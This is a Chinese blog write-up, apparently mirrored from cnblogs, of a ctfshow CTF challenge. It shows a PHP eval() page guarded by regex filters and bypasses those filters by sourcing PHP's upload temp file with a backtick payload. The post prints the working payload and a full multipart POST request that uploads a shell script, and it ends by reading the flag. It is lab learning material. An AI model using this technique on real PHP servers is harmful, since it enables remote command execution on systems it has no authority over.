首页 > 其他分享 >ctfshow--红包题第二弹 临时文件命令执行

ctfshow--红包题第二弹 临时文件命令执行

时间:2024-04-05 14:22:22浏览次数:30  
标签:zh 里面 -- Content 命令 ctfshow 临时文件 php

上来先代码审计

点击查看代码
<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
 
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
 
        }
 
     ?>

确实没头绪,感觉被限制死了不知道怎么绕过,连着看了几篇博客,属实是没想到能这样绕过

首先没有被限制的字符: p . \ = < > ? ‘ ’

那么能利用这些能干什么呢

先介绍一下一个php的机制:
在php里面,只要我们有上传文件请求包发送,那么php就会把这个文件存到临时文件里面而在nginx里面这个目录一般为\tmp目录

接下来再说说上述几个字符能干什么呢
可以构造这个语句
cmd=?><?=. /??p/p?p??????;

先解释一下这个语句的意思
首先介绍一下这个反引号
在php里面反引号里面的内容会被当做shell命令被执行
如图

image

. 等价于source命令,查了查解释如下
“source” 命令用于在当前的命令执行环境中读取并执行指定的脚本或配置文件。
也就是说他会将指定文件内容当做命令执行,如下图

image

< ? =相当于<?php echo 简写版本如图

image

在php里面临时文件名字由php和随机的四个或者6个字符组成,在window里面还会加上tmp的扩展名

? 相当于通配符,也就是说可以是任何字符我们/??p/p?p??????要匹配的就是/tmp/php******的临时文件(*表示随机的字符)

解释清楚方法了,接下来讲讲思路
也就是说首先我们要上传一个文件,里面包含命令,然后哦用cmd=?><?=. /??p/p?p??????来读取这个命令的回显

这是我们上传临时文件的包
POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????`; HTTP/1.1
Host: cb44aaa3-a5ee-415e-b01a-c3a94fdc0432.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 245

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

ls ../../../
-----------------------------10242300956292313528205888--

image

看到发的flag位置了
cat flag就行了

image

标签:zh,里面,--,Content,命令,ctfshow,临时文件,php
From: https://www.cnblogs.com/wssw/p/18115718

相关文章

  • 语法分析-自顶向下解析
    语法分析-自顶向下解析自顶向下语法解析中,下面哪个选项描述了递归下降算法的特点?()A递归下降算法使用预测分析表来决定产生式的选择。B递归下降算法采用自顶向下的方式,从文法的开始符号开始,通过递归展开非终结符并匹配输入符号串,构建语法树。C递归下降算法采用自底向上的......
  • 基于深度学习的交通信号灯检测系统(网页版+YOLOv8_v7_v6_v5代码+训练数据集)
    摘要:本文深入研究了基于YOLOv8/v7/v6/v5的交通信号灯检测系统,核心采用YOLOv8并整合了YOLOv7、YOLOv6、YOLOv5算法,以进行性能指标对比。详细介绍了国内外的研究现状、数据集处理方法、算法原理、模型构建与训练过程,以及基于Streamlit的交互式Web应用界面设计。在Web界面中,用户可以......
  • 代码随想录算法训练营第二十四天 二十五 | 回溯的理论基础,77. 组合 216. 组合总和 II
    77.组合https://leetcode.cn/problems/combinations/description/List<List<Integer>>res=newArrayList<>();List<Integer>path=newArrayList<>();publicList<List<Integer>>combine(intn,intk){......
  • Pinia - vue 的状态管理库
    Pinia-vue的状态管理库1.介绍Pinia是Vue的专属状态管理库,它允许你跨组件或页面共享状态。2.安装和注册Pinia安装piniayarnaddpinia注册piniaimport{createApp}from'vue'import{createPinia}from'pinia'importAppfrom'./App.vue'constpini......
  • 面向对象入门
    开发一个一个的对象,把数据交给对象,再调用对象的方法来完成对数据的处理。1.面向对象的好处?****符合人类的思维习惯,编程更简单,更直观。2.程序中的对象是什么?****对象本质上是一种特殊的数据结构对象类似于一张张有模板的表,是在表中填写的数据3.对象是怎么出来的?****通过cla......
  • c | C语言
    C1.HelloWorld#include<stdio.h>intmain(){printf("HelloWorld");return0;}2.DataTypeInteger:charintshortlong/longlongUnsignedintegers:useunsignedkeywordbeforeIntegerFloatpointnumbers:floatdoubleStructures......
  • 如何面对自己
      又是清明节,这是毕业后的第四个了,也没有什么特别的意义,只是数字会让人觉得孤寂,昨天清晨去奥森跑了十公里,试图提高血清素,没有选择在屋子里睡觉,在封闭空间无事时会有点虚无。昨下午去了报国寺的书市,主要是一些旧书,也不便宜,到广安门内地铁站B口下,一处来就能看到,进报国寺后,能看到......
  • 水果云仓_统一商品标准_统一销售_统一供货_统一分拣_统一配送_按品结算_财务清分_生鲜
    水果云仓_统一商品标准_统一销售_统一供货_统一分拣_统一配送_按品结算_财务清分_生鲜配送供应链系统_杭州生鲜配送系统之升鲜宝_大批量分拣_轨道动态秤使用(一)生鲜配送现在目前应用比较多的,就是按商品分拣,选择商品、电子秤传输数量、打印标签,然后按标签将商品放至对应的区域,所谓......
  • 总结一下在搭建后端系统时所需要的模块
    安全与验证模块:安全验证模块:包括身份验证、授权、访问控制等。校验模块:对输入数据进行验证,防止无效或恶意数据。数据管理与处理模块:数据库连接模块:负责与数据库建立连接并执行操作。数据转换模块:处理数据的格式转换和映射。缓存模块:存储常用数据以提高性能。基础架构模......
  • windows编程模型
    WinMain函数的定义int WINAPI WinMain(HINSTANCE hInstance,//应用程序实例HINSTANCE hPrevInstance,//上一个应用程序实例LPSTR lpCmdLine,//命令行参数int nShowCmd);//窗口显示的样式 WINAPI:是一个宏,它代表的是__stdcall(注意是两个下划线),表示的是参数传递......